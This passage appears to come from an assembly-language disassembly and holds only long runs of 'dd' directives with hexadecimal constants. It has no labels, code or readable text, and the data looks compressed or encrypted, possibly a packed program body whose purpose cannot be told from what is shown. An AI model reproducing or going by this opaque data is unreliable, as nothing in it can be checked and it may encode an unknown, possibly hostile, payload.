		dd 397C46Ch, 3C802766h,	0BFE02684h, 1400CA81h, 3DF3C28Ah
		dd 854C44h, 29C1AE68h, 0BFD74EF7h, 0F603307Ah, 8A05127Ch
		dd 0E181C00Ch, 0D200722h, 0A0E97210h, 0CE2C396Ah, 8001261Ch
		dd 5027940h, 0C98349h, 0C0DD41FEh, 0EB204EBh, 8A13D4FBh
		dd 4A38CA1Bh, 0C28B802Ah, 5EE25Fh, 204B3CF6h, 0B43D8033h
		dd 0CB169200h, 48F30FF2h, 4AD60089h, 0BC696185h, 900082C5h
		dd 1EB1C933h, 145507h, 0C1780AAEh, 0B0DA643Ch, 0B4735800h
		dd 82F093FAh, 0FC1200DEh, 404A4F66h, 77006914h,	6AC6C811h
		dd 0F650CB6h, 0F3E2F052h, 8050BB64h, 745ADE5Dh,	17E4EC00h
		dd 71A6D62Bh, 12C0F02h,	8EA01572h, 3947CEA8h, 0BC74900h
		dd 0ABDC7516h, 0E8E4003Ch, 0BC777D2Ah, 6C078D24h, 0ACBE0A60h
		dd 6C78760h, 0FE990109h, 0FC469FEEh, 89FAE451h,	0DB0EF772h
		dd 0FE028D30h, 0FCB6641h, 0E1E40E15h, 0FFE20781h, 51DDF203h
		dd 0DC0B7E52h, 800E8C1h, 504ED6D1h, 0B3D76Ah, 95670194h
		dd 9F78837h, 732AF500h,	5EF9C30Fh, 0C5540008h, 66AD9C2h
		dd 33E0290Bh, 25EBF603h, 0D935448Ah, 7C85CE8h, 0D82A2602h
		dd 88430E32h, 0F3E6F547h, 0AB994993h, 0E4E43107h, 750004CBh
		dd 2C683EEh, 12D0D2FBh,	0F2A8E0Ah, 0CCC02579h, 685DC0E1h
		dd 82A45400h, 189513Bh,	8550759h, 50537E36h, 7BD5F5E8h
		dd 32122E0Fh, 0C33AE029h, 855DE5h, 0C8AAC264h, 72C750D9h
		dd 0B14BA00h, 2B9574C6h, 128107C4h, 4164ECB8h, 0F8A8E68Fh
		dd 4C00B93Eh, 1BBA299Bh, 1FA6B22h, 0E3119538h, 0C452E7A2h
		dd 1C09C824h, 80F14476h, 0FBA2C80h, 178A391Dh, 0F2A20773h
		dd 0C02E0413h, 0A7F33C0Eh, 19904A00h, 1084F4ECh, 0F1DFA2Fh
		dd 37A4F5F2h, 44580860h, 0F4ED681Fh, 0FE3DA1DCh, 0F8D2035Dh
		dd 0E85B3287h, 61A2011h, 0B150FCC8h, 1E00A23Ah,	650A6E6Dh
		dd 380E4A4h, 344F2822h,	0D1D10408h, 0AD29D48Ch,	0E2FF60F9h
		dd 0BC7BF800h, 364B8927h, 25430066h, 5D44ADA4h,	0BA011A8Bh
		dd 5AD34598h, 14F41FB2h, 103F0EA5h, 0BA9DFC23h,	50A1Eh
		dd 0F4117E62h, 0A307B0BAh, 14C0FAF8h, 86FB1F60h, 68FC0006h
		dd 10C221D0h, 79B0B8F4h, 80BAC93Ah, 2753850Bh, 0DC1D72h
		dd 491B1039h, 0E20C21F9h, 7F65F001h, 3D69189Ch,	8F2AD8h
		dd 163A2793h, 0CB386853h, 0B3411200h, 5B30C9C4h, 61100ACh
		dd 642F6D0Eh, 0A198B752h, 0C31E5978h, 2C802003h, 0F2D4AC9Ch
		dd 61223E02h, 470C9480h, 684C5070h, 0BE24A500h,	5448C7Dh
		dd 411C1F20h, 52B8804Dh, 380F9410h, 8B744BF6h, 0CE3A3500h
		dd 19BF842Dh, 0E07300B8h, 0BCBB5310h, 0F901B552h, 0E4031764h
		dd 77E8BAC1h, 73F603A5h, 5DEBD069h, 8004CC91h, 977F3CCAh
		dd 0FE1A7B41h, 0A11C00F0h, 21BF4CF2h, 5B00E898h, 0B730A323h
		dd 0B3D8FA5h, 0A5A0618h, 5F547480h, 92031340h, 6B27F5B9h
		dd 6CE6C078h, 3233000Eh, 0A9BD642Eh, 477D1FD4h,	69447400h
		dd 78466B73h, 53F23E72h, 63617083h, 50D0458Dh, 0B8E49732h
		dd 58E4FD00h, 11B06437h, 0A8480324h, 0A06F26AFh, 988844C0h
		dd 91948901h, 0DC329031h, 0F02ED3EFh, 58448022h, 1407B3F4h
		dd 0A7705191h, 0B868A3B4h, 0C41360D0h, 580031F2h, 5099E39Eh
		dd 1F12F011h, 40912E48h, 38304440h, 173DFC89h, 69E024C8h
		dd 81CC6401h, 44DC5E20h, 89D00618h, 4E781310h, 406E080Eh
		dd 2C322711h, 0F0A6F880h, 3FAEDD70h, 0E800C3BDh, 0C082B185h
		dd 4C00E024h, 0C83821C4h, 391D811h, 547C2234h, 0CDC0F426h
		dd 4907B419h, 11D40143h, 88E02877h, 2C6894D0h, 1DAFC818h
		dd 0BD803A14h, 0C4220CD3h, 0C0E84C47h, 0BC4E9EE9h, 0B80A7C3Bh
		dd 84484453h, 0BC50BE3Eh, 18289FB0h, 8499AC9Fh,	7CF9A83Eh
		dd 479FA4F9h, 3CB04FA0h, 90AC9CAEh, 10FC9824h, 78FC94FCh
		dd 0E1F8307Eh, 900E4C4Bh, 8824A784h, 0F114F056h, 800238E9h
		dd 7C1CA783h, 0CA5A0F3h, 74240CCFh, 70FAE0FAh, 3CF2D8FAh
		dd 0B0676C7Eh, 24E7681Ch, 74E764E7h, 0F26030E3h, 0C65C0518h
		dd 58095C5Bh, 1560888h,	8E38549Dh, 0EFC50D0h, 4C225346h
		dd 48AAB86Ch, 0C6C020F0h, 6DE81044h, 0ACA1FB3h,	709DE70h
		dd 0DF90722Bh, 0FD8A2700h, 3F000838h, 4E491C13h, 1E419D46h
		dd 3D0A2E2Fh, 0AED07404h, 138680ECh, 0F90045F3h, 0FE172A82h
		dd 35425CCh, 57D0764h, 80BC49B8h, 221D7E20h, 0C48C700h
		dd 910F9650h, 7D801D02h, 3720110h, 606023FCh, 770FD9C3h
		dd 0FE2D7BB2h, 0E0BBE3C7h, 0A07FFF60h, 73020031h, 0B48D1003h
		dd 82033C40h, 0B3CCAA9Ch, 0EBA480F3h, 75FC23h, 3B60FE7h
		dd 0FB80105Dh, 8074013Ch, 977040Bh, 75EBFCCh, 7EA2C53Bh
		dd 0FFABF002h, 0DC009D14h, 0C78B5989h, 251874h,	46951AD8h
		dd 83033365h, 233E2475h, 3E880009h, 0AAC0184h, 0F757FC0h
		dd 0C3D1C22Ah, 86E68160h, 2E001445h, 8F2AA2Dh, 0B3072F4h
		dd 33E44D98h, 80000DF0h, 831F7F0Ch, 7CFDF9h, 0C90B1A1Eh
		dd 0AA4E1C59h, 58026B00h, 5AA04074h, 0F7F600F4h, 3D20D96Fh
		dd 1C76EB8Bh, 4218E400h, 0FC197491h, 0F85000E2h, 8A2A1508h
		dd 280123E0h, 650EAB66h, 5F94807h, 0D20BF4h, 0E05F5EADh
		dd 62A42BC0h, 0D0E7EB2Ch, 29258A00h, 24D28B8Ch,	0C1AB49h
		dd 1C2BB487h, 0EA009F08h, 5A029804h, 1E2845B0h,	0E65D8Ah
		dd 4AE455BFh, 0DD000AAAh, 0EBD23268h, 908AEFh, 0FA7067Dh
		dd 0BD5DDAF7h, 0B1E4A80Fh, 0AAC4C001h, 8B5092h,	0F73285DCh
		dd 0F1532035h, 1E00BA74h, 0A10B4943h, 50EDD5h, 0FE18E9B2h
		dd 3BAA030Fh, 58F834C0h
		dd 7CEC7324h, 0FA83009Ah, 0BA052712h, 0E200154Eh, 41ED499Bh
		dd 128EBD6h, 8122DB33h,	0C07FFC4Bh, 0B30048C1h,	8AF3F603h
		dd 7043DC2Bh, 7449008Eh, 0F4754B0Dh, 5F00A04Eh,	0EB3231F8h
		dd 0C552EAh, 0E3FFB01Ah, 4A73CF09h, 65070CE6h, 2B27F975h
		dd 0C3F726A0h, 0A9908Eh, 325B891Dh, 645246A4h, 0F1220B03h
		dd 80040F21h, 76D93Ah, 0CCE9027Fh, 9C128DDDh, 49A79B00h
		dd 0B048B97Bh, 7A03008Ah, 1E740E3Ch, 0C9005351h, 4A290F24h
		dd 7C28812Ah, 0E80C008Ch, 0C8E4E590h, 7300D820h, 43595B04h
		dd 0ABDCE2h, 7A35F9C2h,	0E5F897DAh, 0F1054A1Ch,	64C02F00h
		dd 982A24C3h, 9D0200E6h, 20A60BB7h, 0D61FFD17h,	7F802826h
		dd 1A2D5129h, 1FB507F7h, 0AB6DBE05h, 8FBF520Fh,	7E471CD4h
		dd 2EE8A0DFh, 380E46FDh, 6F20DA13h, 0B267C08Dh,	283310h
		dd 355D2927h, 46C966D6h, 825B4007h, 1D90D957h, 70698B49h
		dd 0B0700C8h, 9044724h,	4F0EBA3Bh, 0F6E9C19Dh, 0A78F6800h
		dd 770B08C5h, 1673015Dh, 1B28DE4Fh, 578DE453h, 0E83EC898h
		dd 0F176260Dh, 0E26CBA00h, 1F13F44Bh, 0C0900732h, 89B934EDh
		dd 0D2582B80h, 0EAD50023h, 0BFEE66ABh, 0BD42010Fh, 744A3D18h
		dd 1D396017h, 1198F205h, 0B50075D1h, 1A7E5216h,	143900A8h
		dd 0FC9E16Ah, 9B002AD3h, 0E89533FCh, 0E21EB54h,	16C334C8h
		dd 3CB5B320h, 0E500E3D2h, 0F0FB3BDAh, 2EAE05AAh, 1ED5AD77h
		dd 804E8037h, 0E3087555h, 0AC1D0300h, 2474273Ch, 0A22201A3h
		dd 10966920h, 0EF56FCF3h, 8AEDE20Fh, 419C006h, 450B6Ah
		dd 2602900Dh, 0AC07C0C3h, 0A5C43A0Fh, 0F71B64D0h, 0FFA3FC80h
		dd 0BBA8032Ch, 8E894985h, 0CC766A0h, 0B120BF00h, 0F8553388h
		dd 0EF40006h, 267423A0h, 8F0E308Eh, 572E0F25h, 32BEF400h
		dd 0E35C133h, 45C73127h, 65803A4Eh, 0F89636C6h,	8B03467Fh
		dd 4240EBD7h, 0D34CB8CEh, 0A0716Bh, 0CACDF3DAh,	0F483C7F8h
		dd 6607E800h, 5589C1ECh, 33580063h, 1F8A205h, 2200B6EBh
		dd 1419AF71h, 2DAE95h, 832B3D93h, 0F445C6A1h, 0C1EE0100h
		dd 96EBFB19h, 9DEC0058h, 3519B6Bh, 0BC052D17h, 9C17D0Bh
		dd 4E0DC103h, 0DC0488E0h, 0C393E52h, 0C35BE400h, 84432A12h
		dd 0F8290500h, 0D213EC48h, 0FC0000Eh, 217A4F66h, 3501E41Fh
		dd 742B1856h, 0DCC8BC65h, 0BD80080h, 5CA3F0EAh,	20005D8Dh
		dd 851C25Fh, 6095CFFCh,	27CE5289h, 0F3EAB48Bh, 22EF9100h
		dd 241A441Eh, 12200E89h, 4FA00F53h, 0E8D4A380h,	8077733Eh
		dd 0C6B758CDh, 3E02BDDh, 260DF47Eh, 0FEC0FC80h,	2D000A81h
		dd 0E432DC75h, 85C83Ah,	31465C41h, 88F9A465h, 0B705CD00h
		dd 8A538490h, 54EE00D6h, 51858DCFh, 2C00ACA2h, 88EB5B0Bh
		dd 0C3A499h, 82D8DE42h,	617C1B8Ch, 8F94FD00h, 0A14DFFB5h
		dd 0EBF60075h, 4745DD0Dh, 0DC0035ACh, 7EE4C403h, 41EA12h
		dd 244329C1h, 4B540B1Fh, 2C7FE0F6h, 37013172h, 221AAE66h
		dd 6F606CE5h, 9E89001Eh, 17D52675h, 83004845h, 0F7E0B55h
		dd 13C905B2h, 8D1EF2h, 0BF3306D3h, 4948AA58h, 1AC80029h
		dd 38B46CBCh, 2E9500F9h, 1B78ABADh, 793C876Dh, 84D8096h
		dd 0FA463A8Dh, 25D00024h, 298549F5h, 700133Dh, 81668001h
		dd 34067Eh, 404C039Fh, 43C61D05h, 0E918B800h, 2EDB63EAh
		dd 0B92D004Ah, 0C0690BB4h, 830E4010h, 0A7ECF8C1h, 4420099Fh
		dd 0B8D2A3D7h, 0E17371h, 0B7C7CB5Ah, 2DDBFC70h,	99BA3000h
		dd 9B24D879h, 3A7500DDh, 0A0F76616h, 17034144h,	35DA0974h
		dd 0F8E180AEh, 0E67501DFh, 37B0C8Dh, 6F40FEBAh,	440E8A0Ah
		dd 0CFE515h, 0F887E8C0h, 1C0F00E4h, 68300566h, 5400B8D4h
		dd 0C032EB09h, 73AE03AAh, 89900F8h, 78477B79h, 0C4003B82h
		dd 8027B10Ch, 30FF830Ah, 7F0E7312h, 3501F87Ch, 0C63725FEh
		dd 4FC00E44h, 160D7A78h, 0B01311D4h, 0EB26ED74h, 0A101261Fh
		dd 624431A6h, 7BF8020h,	25999392h, 8221A319h, 0E384F1B8h
		dd 3A1B5600h, 80EAC1B9h, 38900D6h, 0C3025388h, 61C5C94h
		dd 2EC78BEEh, 0C8E00475h, 3F0FCA0Bh, 69BFB484h,	0FB792F80h
		dd 35FDA6CFh, 0E582EA03h, 0D0C363FFh, 4F64Ch, 0BF1F7C12h
		dd 2D41CE21h, 64088000h, 0B3DA81A7h, 0E00200B6h, 49F2730Dh
		dd 0E03A405h, 13EE24D2h, 0F46AF0A6h, 6D75DFh, 2A82B8D7h
		dd 6B40C22Bh, 8034DA3Bh, 0ACF51C85h, 9B5FF2h, 521BD4F0h
		dd 0F650F7B9h, 1E860D07h, 0C032EE7Dh, 75E4C0C4h, 0E649001Fh
		dd 39EB3DECh, 400C185h,	203CAA30h, 147D6A9Dh, 0A1362122h
		dd 4EEA4C1Dh, 13A08D05h, 0C6088103h, 0D5410700h, 0D1423F80h
		dd 0B9AA00F7h, 0EB1F0FCCh, 6300C1F2h, 0FB4588D2h, 58CD574h
		dd 5C8406F1h, 9B54C0F0h, 0DD007D4Eh, 5E2DB0Fh, 5F3A2Dh
		dd 0E8EE8389h, 0C1097A75h, 0FF803E00h, 0A05B786h, 527E898h
		dd 0C544601h, 0E706C73Fh, 0CBD86970h, 0A965800h, 0A412461Dh
		dd 3B030007h, 164A74CEh, 0DF05242Ch, 0C6010F17h, 9CE88CC0h
		dd 582B0F85h, 4300D003h, 2E096EA9h, 0B9C28B38h,	7D4A9E8Ah
		dd 0F91A3E40h, 25081h, 3029E0D9h, 3FDF0407h, 0DBB7EB00h
		dd 0C57F9B47h, 0D6A94C66h, 4E90171Fh, 0DD40E804h, 8A5250BCh
		dd 16D283Eh, 0C30B779Bh, 20E899ACh, 4ECA0043h, 0F3C427DDh
		dd 0F0053A2Ch, 260F730Ah, 49291380h, 0CE820043h, 5245B806h
		dd 13001CEAh, 0BC140E8Ah, 0F619DB3h, 2AA99428h,	0D26BE440h
		dd 900740EDh, 9CF4FA81h, 720A53h, 0B5021438h, 88E4F25Eh
		dd 0F4708C00h, 850F8065h, 1F68B861h, 876EDFE8h,	3068D30Bh
		dd 0DC6014B8h, 0BE15B900h, 6CA7BAF2h, 5F5A0062h, 0B85B89C4h
		dd 0B90016D1h, 0A8155107h, 0E210A72h, 0DC021034h, 2CA2007Dh
		dd 3D135929h, 65577B1Fh, 8A1F52C0h, 35C1590h, 44A27443h
		dd 21D80C11h, 0CC0FD314h, 208A7354h, 2C08E40Ah,	88850004h
		dd 0F85164FCh, 0EC00210Bh, 1450D862h, 0F197C442h, 0F8CB2C0h
		dd 0BCCEBF3Ch, 40839C7Dh, 0CF1DF42Dh, 9077301h,	315260B8h
		dd 8F224B10h, 91800054h, 0A1176715h, 0CE48B6A0h, 631E0093h
		dd 6E4B98BAh, 0D4463D8Dh, 0B00683Fh, 3F11316Bh,	0FF7F1469h
		dd 36767460h, 1F41695h,	7178302Fh, 0F0C142F8h, 0AB7EB81Ch
		dd 57989C00h, 9FD4B0C8h, 66450B70h, 0D200F73Ah,	9495F3C5h
		dd 0DCA3D12Ch, 3960F501h, 6FD57D49h, 93135C0h, 0F71EE3DBh
		dd 5C8A5800h, 0C101FF0Ah, 0D8E818CBh, 0D1C008B3h, 57300E0h
		dd 71064135h, 8000DB4Eh, 0E6E2F3BBh, 34238D6h, 38B61CCh
		dd 9280E775h, 0A003E9F8h, 85D8698h, 0C6DE973h, 10F090E3h
		dd 7C1700EBh, 3C0B538Dh, 0DA075012h, 4DFED173h,	0F8DC9EE0h
		dd 7C370D7h, 0F685F263h, 6DB85376h, 0CA8024F3h,	6800E9C1h
		dd 0F92F83E3h, 0E0B75603h, 76B0FAh, 0DD0FFFE7h,	1D72E26h
		dd 0C73BF800h, 98682177h, 10E6007Ah, 0A71406CFh, 490073FAh
		dd 0D05AF4D8h, 0FCE83180h, 4497007Ch, 3902BFEDh, 96091CEBh
		dd 87722921h, 1097E346h, 4EF0CC07h, 8B9D75h, 0C94C850Bh
		dd 0FF7A1AD5h, 0E500DFFAh, 7582DFBh, 62B491h, 34478DF5h
		dd 0C0A60411h, 0D851D9F7h, 0E0004B0Ah, 4E86FE38h, 0F81DA9F2h
		dd 0D1E9000Ch, 0E808F482h, 5027E47h, 0CB113256h, 0DF0EE07Ch
		dd 0F920021h, 0F972958Fh, 5502E330h, 0F8FC8A22h, 0AC7E60EAh
		dd 0DB3B037Ch, 8D9E34BAh, 881E3DB8h, 0C30053E4h, 0D50FE0A9h
		dd 661028Ah, 46474307h
		dd 8100BA3Ah, 0AEE87570h, 41BC74h, 51048B09h, 2E108A26h
		dd 0CA90E000h, 0DF10332h, 8102000Fh, 433CDCE6h,	0EF48240Ch
		dd 8880087h, 14BC11BAh,	40472E03h, 0DFD90075h, 563798Fh
		dd 0B939420Eh, 7D84A08Bh, 0EC1A41h, 0DF5D8955h,	0B11CB414h
		dd 19BAFF03h, 0D0D33502h, 0BC3CEAh, 0BD469D57h,	0C9A4D89Eh
		dd 854B8000h, 43767CDBh, 334200B5h, 0C16DE475h,	80014102h
		dd 0D06CFFE1h, 14E4D907h, 0E2A50018h, 1C1E0A5Fh, 5D008884h
		dd 650F85F7h, 1E12038Ch, 0F183C8Dh, 1FE0302Ah, 10AE2E5Bh
		dd 0AC24A603h, 0A8026321h, 0CDE380h, 76E03217h,	34F06175h
		dd 0B60F330Bh, 695080DFh, 3F831A2Ch, 1B007D79h,	0D4FF3E62h
		dd 0EC5C4D99h, 0A8451DEEh, 88F4FC40h, 5043A5B0h, 75D09E8Fh
		dd 44853BACh, 89EE3400h, 97626AE0h, 0B45EF000h,	3B800602h
		dd 0D0520E5Ch, 1BF2BB5h, 0CC9D7E0Ch, 9CF9CCFAh,	0EF504400h
		dd 12D8BCAh, 0B3620040h, 5615CE7Fh, 0E016C3EDh,	6D005FC1h
		dd 38F42430h, 3EF7725Bh, 1A003462h, 9693DE86h, 9E00C902h
		dd 0E3D64149h, 796F4EA3h, 8A310EC2h, 10E05B81h,	0F82708A5h
		dd 713ACF05h, 2BC0B041h, 90FCCDh, 0C3849317h, 439FB5Fh
		dd 5AA82600h, 0A24E0EE2h, 21D2384Fh, 0A91748Fh,	0C03BE687h
		dd 198E9ABCh, 0A8020801h, 0A15FA4BDh, 4DABD0h, 84186086h
		dd 0B12CB091h, 5EC9400h, 424CF42Fh, 0A91C00DDh,	56B2CCB3h
		dd 0CEB0BEF7h, 18B8BB09h, 4834004Dh, 0EAA835Ch,	4E44F41Bh
		dd 4F36E6E0h, 590FACB1h, 0A330BFE7h, 0A8A53AA4h, 532935h
		dd 7FFF0C44h, 65D5D01Bh, 835E2F00h, 0F8D45585h,	2A950087h
		dd 0D3F19325h, 91077BE2h, 0AF5681F4h, 0AC2013F7h, 789CB442h
		dd 8C7B64h, 2F7589DDh, 704963FCh, 6A244800h, 0A47A8203h
		dd 5AD30E73h, 0E241BA7Eh, 0DC87DD8Bh, 0C300F5DBh, 0E1081FDCh
		dd 78AD422h, 49536CF0h,	75BC2040h, 89EC6648h, 450036F8h
		dd 2F841BFDh, 0E6C583h,	4A29EFC2h, 0C802D7DBh, 0AA067600h
		dd 0AE6A38A8h, 2775004Dh, 88BC9345h, 0BE001869h, 38084604h
		dd 0F8D8A1E8h, 0D0260010h, 7F0121D3h, 52000A93h, 0B9C4A4B3h
		dd 0F522FC9Bh, 1026AE4h, 7DBE54D2h, 0F84C05DAh,	0B000B356h
		dd 0E070632Dh, 3E36426Fh, 0A600EBE2h, 0BCAE23C2h, 4F007405h
		dd 49E8B895h, 0A4722Eh,	70B23824h, 47C0AA40h, 0C8905200h
		dd 0AB2517E8h, 3EF217A5h, 149B00A9h, 2EEC8D99h,	2FD79400h
		dd 9AD304A0h, 61F30E1Ch, 830F7E2Bh, 0DF804349h,	1B326BCh
		dd 805C0B3Eh, 0E80D8486h, 79A14660h, 8C2D1E64h,	0FCD68032h
		dd 65EED778h, 860ABF00h, 157EE854h, 6A300075h, 14BBE5E6h
		dd 0A600E38Ah, 0E42C5616h, 88F95Ah, 282D124Ah, 0EA9D5965h
		dd 0D871AE00h, 0E7941962h, 3B52B874h, 0A9D20A1h, 6B9788h
		dd 0B7605191h, 0FC00EEC8h, 49C93C31h, 753CA16h,	0AC6A40FFh
		dd 0E988F030h, 5900D03Fh, 6B6F217h, 0E8EBD19Ch,	4ED85C1Eh
		dd 20350700h, 0F381C083h, 3EDB800h, 0EB75CEFEh,	91C10031h
		dd 0D5DC4FDAh, 0F7032D5Bh, 7D43F8D2h, 0FCC0C0D0h, 9933CD7h
		dd 47A46180h, 8264E259h, 0DADCE800h, 0F5D0147Fh, 5298012Ah
		dd 0D395423Ch, 0D7DDE8ACh, 0E7B4F301h, 0C4464A71h, 14B3A5C8h
		dd 94038398h, 8D5B1800h, 0D3702197h, 4EAC100h, 0C05A92F8h
		dd 50550090h, 0B0A2C601h, 27002ADEh, 320A0F2h, 2709217h
		dd 10516871h, 43405A24h, 0CA008BE8h, 6002B1ECh,	3FDF1638h
		dd 0F2817D47h, 0F72622BFh, 35EF3043h, 1901E57Eh, 0C82051F1h
		dd 0CA319197h, 1E7795FCh, 0C028AEB5h, 5A05564Bh, 400BAF6h
		dd 0FA023A60h, 38CE8980h, 468007EBh, 10FE8342h,	0B200F1B7h
		dd 0E7F75EC1h, 7DFA998h, 4744432Ch, 0B0889754h,	4B31D772h
		dd 22D8D100h, 0F88C0779h, 0FF83004Fh, 0EF807C05h, 0C00003C7h
		dd 8AFC92A0h, 0A80450h,	25854A47h, 4411303Bh, 8E01023Dh
		dd 40E3C112h, 688C336h,	5FB80046h, 0ABD17594h, 1A76EEB2h
		dd 0AF769700h, 0A09C4072h, 0CD050727h, 3001BCC4h, 5A04847Fh
		dd 4CF35B3Ah, 30580ED9h, 5C80FE94h, 0AB08143Ah,	0CBD500A4h
		dd 589CB32Ch, 0C8B88E96h, 50348400h, 8BDC23BFh,	896E0073h
		dd 815460C6h, 41079996h, 3B1F74F6h, 2028FFC0h, 0B17B009Eh
		dd 958D0F63h, 0D4002F47h, 58B9E2CEh, 0B05221h, 2096A3C4h
		dd 0B702BAF8h, 7966BE00h, 0DA309C8Bh, 0AE2C1D52h, 47D81E9Fh
		dd 908F95A5h, 97423BA4h, 0D60096EEh, 7F200DACh,	1308C8CAh
		dd 0F5E6B88h, 0B0A7B20Dh, 0B981D01Fh, 94069C43h, 0C21679E5h
		dd 7EBE723Eh, 54681DD2h, 857040E3h, 8C75BA5Eh, 0DC9C0900h
		dd 1FF2E211h, 97E612h, 0E4222F39h, 1EF88380h, 0CB5D7500h
		dd 0BAD9DE9Ah, 166C1326h, 0E45D0041h, 0A334B795h, 0DE5CB402h
		dd 40295948h, 516D90h, 1A2E42A6h, 83680311h, 100D5700h
		dd 3B28842Bh, 75073CA2h, 8DFE8B00h, 62F2DE55h, 0A5F30E09h
		dd 5BB60066h, 974EF9h, 99E77CA2h, 70B9B896h, 0A8E09200h
		dd 3FFC8A8Fh, 0C4EA07EFh, 0A0F5525Eh, 3B8195E7h, 1E274C00h
		dd 83A7685Ah, 64880435h, 0C0FEB3BDh, 0B9D41AD0h, 96D32600h
		dd 0F720AA32h, 0CD1C0EEEh, 616FD016h, 0D4B8823Eh, 26C006DEh
		dd 74062B9Ah, 0D97D9F02h, 21A40086h, 102A2235h,	0E03F993Eh
		dd 0FF73A80h, 20285874h, 419D424h, 0EFE800DDh, 0DBE3FCC9h
		dd 1E002050h, 6AD946D0h, 196D616h, 0EBA83359h, 0F02848A5h
		dd 79002D55h, 0BAFE311Ah, 0D19358h, 0CD21EFB8h,	882E8607h
		dd 980C3300h, 924599A6h, 14ED1D87h, 1700BCA1h, 0FE9AD054h
		dd 0B803A24Ch, 0B12F85DEh, 0FB14E8C0h, 3DA8008Ah, 7C503B41h
		dd 637BE1F7h, 0FF44D300h, 0E0CC527Eh, 0C9300B4h, 8A7BB890h
		dd 0C748E97Fh, 92790088h, 72DD1748h, 21150E44h,	4409A49h
		dd 0B832FB13h, 7774E1EAh, 2DB49203h, 0F016A422h, 5121DBh
		dd 4DD954DDh, 0FFECBF18h, 2600877Fh, 64081E91h,	1CAB519Ah
		dd 5E108F14h, 0B4890050h, 48D4217Ch, 0F40BE300h, 0FFB10C8Ah
		dd 1E960A25h, 0E56141h,	82B63904h, 0F91C7549h, 55F2451h
		dd 0D31C9018h, 21993A12h, 0A9B5780h, 17706B7Bh,	0EC000EFAh
		dd 0BF9CF00Bh, 0F015FAB8h, 6FD89568h, 51D09703h, 0C14AA0F4h
		dd 7D01077h, 0E48C079Ch, 0B7A7F660h, 0C9306014h, 0D3752AE0h
		dd 4C7C7175h, 0FA80DC01h, 820643BAh, 8868DCh, 0BF3A429h
		dd 8B3474AAh, 5E101600h, 54DC899Bh, 0B9565021h,	4A011DC4h
		dd 2D59417Bh, 60AD4E0Fh, 0F000B6B3h, 0B4DBDA3Bh, 0E4F83F8h
		dd 0F37003C0h, 0CEFBF660h, 0F7001B79h, 5AF1345h, 3997E853h
		dd 1680E5D9h, 1022ACF4h, 30008567h, 70011D46h, 0D5CBF8h
		dd 8B4C75Dh, 4B3BC933h,	10692A00h, 0E0A49C66h, 0A9020041h
		dd 4326C372h, 0C007873Ch, 7D8DFC59h, 0A7F0FE87h, 306110Fh
		dd 7F3C08E2h, 0D2B8420Ah, 6D740C2Ch, 30B8C800h,	0F46CEEE4h
		dd 171300C7h, 58EC5DE6h, 0F17795B7h, 0E03DDC7Bh, 0E54A009Ch
		dd 14DE76AEh, 0F8BA0037h, 90A3D431h, 21007569h,	8B9AA1FFh
		dd 3B0694h, 16787B82h, 0AF0C733Dh, 8019C63Ch, 43B464C8h
		dd 7C104Bh, 9C5CE749h, 996BE9EEh, 7022D01Ch, 54010783h
		dd 4C65B079h, 0C2620069h, 8E998C9Ah, 7500E9D9h,	9D43800Ch
		dd 7C760A92h, 4AC903D3h, 9C91827Ch, 0F2DF24E0h,	687D222Eh
		dd 1F028B00h, 352838Fh,	760318C9h, 73880A1Bh, 89001601h
		dd 0B9560C5Eh, 0FEA974h
		dd 822A4F20h, 9D87D89Bh, 0D4E49600h, 95DDEEB7h,	0E4470C7h
		dd 49534C43h, 0CEB55CC0h, 0A100A2ECh, 0FF09E91h, 904AFC21h
		dd 87921h, 54D2C14h, 75FF2911h,	34F7C400h, 6492108Ah, 79A750Fh
		dd 8C846ED4h, 3607799Eh, 5E7E50A4h, 0B9771942h,	1F4D9D3Eh
		dd 350093C2h, 0AC919CA8h, 83E0069h, 5D208B95h, 0DC1C0633h
		dd 104021BBh, 9F30119Eh, 630A00A9h, 169B054Bh, 48F485E8h
		dd 2717AF00h, 0A3553D9h, 20F05844h, 96AAB700h, 70431C55h
		dd 809D423Ch, 2B610B46h, 0FE19F40h, 5E69C3ACh, 6D8CEAE0h
		dd 9C005A0Eh, 7910BD93h, 3A6FC69Fh, 3C87AA24h, 0C0A9E172h
		dd 1BD9E539h, 77E45000h, 0CF71B68Ah, 5D1A0097h,	0DE534317h
		dd 0C00742E3h, 0B1232C92h, 0EC2D9F60h, 690900DBh, 80AB6865h
		dd 0C40081E1h, 23A36FB8h, 470A5Eh, 0F0270B9Dh, 0F806CBFEh
		dd 0F553CA00h, 0CE7DAA81h, 256B0251h, 2983AF5Fh, 0DE989D40h
		dd 0A1424D00h, 92EBE8D3h, 0D2AA3B01h, 8D189300h, 3360BA46h
		dd 5813483Dh, 1B5B0FE3h, 0FF9D0016h, 7F51D55h, 380D4595h
		dd 0BA2501Eh, 0BC006164h, 114AAB3Ch, 23EFCEh, 26C4A9F8h
		dd 0DA15275h, 4B6CBA3Ah, 370106FCh, 9D63F04h, 0EE01DCBEh
		dd 4CB86D00h, 0E636C2BFh, 506F0017h, 0BCBC931h,	29004572h
		dd 25F4550Dh, 126923h, 0C7A413EBh, 94C94C33h, 9C87B306h
		dd 17A0F14h, 7A20A92Dh,	0F213A59Ah, 0D8B6EB40h,	8AA1541Eh
		dd 0B85F8DC0h, 3BA1Ah, 0E0E5C19Bh, 0B9CB1B3h, 1D5C0100h
		dd 122CA664h, 0A9343BD8h, 8A7AD602h, 88E09061h,	3907F80Eh
		dd 708D10DEh, 4FE68099h, 161B2DE2h, 13504193h, 4A900369h
		dd 84DB09C2h, 0C6B0DA8Bh, 2B5C6AC8h, 0C7A60046h, 1322767Ah
		dd 0B0EC095Fh, 1B8FD8F2h, 75A0F80Eh, 0FA685DAh,	0A2614200h
		dd 2E46BD14h, 27D20092h, 5518F43h, 8E24A788h, 4500952Dh
		dd 3620EA11h, 0E855020Bh, 0D9916F27h, 61E0C5E0h, 48754E00h
		dd 15B71FD4h, 0C5E701A2h, 8BA4B2E4h, 0C031F8A8h, 702D903h
		dd 0E0149765h, 45889Bh,	9E25AF26h, 0A35F2DB6h, 0A0139600h
		dd 4A840F7Fh, 0FC8C0390h, 7B382780h, 39F1EBC0h,	798E6B01h
		dd 827775A4h, 843270h, 96B1CB10h, 1132C6E1h, 0CE26990Eh
		dd 9FAB36h, 0E53BAB4Fh,	31680CB2h, 0CD106A18h, 7B43D900h
		dd 0DD100CAFh, 0DA041674h, 0F9F500EBh, 2064324Ch, 0AB03D900h
		dd 0A2A0575h, 0F1558AFh, 13C33B01h, 0FC8A3210h,	0D900F834h
		dd 31669EDh, 0A3662Fh, 59AF6D35h, 96A479Ch, 802CD0Fh, 0F871A0FAh
